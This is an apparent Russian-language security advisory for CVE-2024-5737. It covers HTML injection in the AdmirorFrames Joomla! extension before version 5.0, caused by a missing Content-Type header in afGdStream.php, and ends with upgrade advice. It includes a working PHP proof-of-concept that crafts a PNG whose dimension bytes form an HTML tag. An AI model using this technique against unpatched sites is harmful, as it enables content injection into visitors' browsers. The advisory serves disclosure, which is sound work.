afine-com/cve-2024-5737AdmirorFrames Joomla! Расширение < 5.0 - HTML-инъекция
AdmirorFrames Joomla! Extension < 5.0 - HTML-инъекция
HTML-инъекция в расширении AdmirorFrames для Joomla! в файле afGdStream.php, который не устанавливает значение заголовка Content-Type перед отправкой данных изображения. Это заставляет PHP отправлять значение этого заголовка по умолчанию (text/html) и приводит к тому, что данные изображения интерпретируются как HTML-документ.
Пример PHP-скрипта, который генерирует PNG с полями ширины и высоты, установленными на HTML-тег <s>:
<?php
$_payload="AAA";
if(strlen($_payload)%3!=0){
echo "payload%3==0 !\n"; exit();
}
$_pay_len=strlen($_payload);
echo "LEN: $_pay_len\n";
$width=0x733e; //<s>
$height=0x3c;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,"example.png");
Результат отображения доказательного файла example.png веб-браузером:
доказательство концепции
Эта проблема была вызвана использованием значения заголовка Content-Type по умолчанию. Эта проблема была исправлена в расширении AdmirorFrames для Joomla! в версии 5.0.
< 5.0
Обновите расширение AdmirorFrames для Joomla! до версии 5.0 или новее.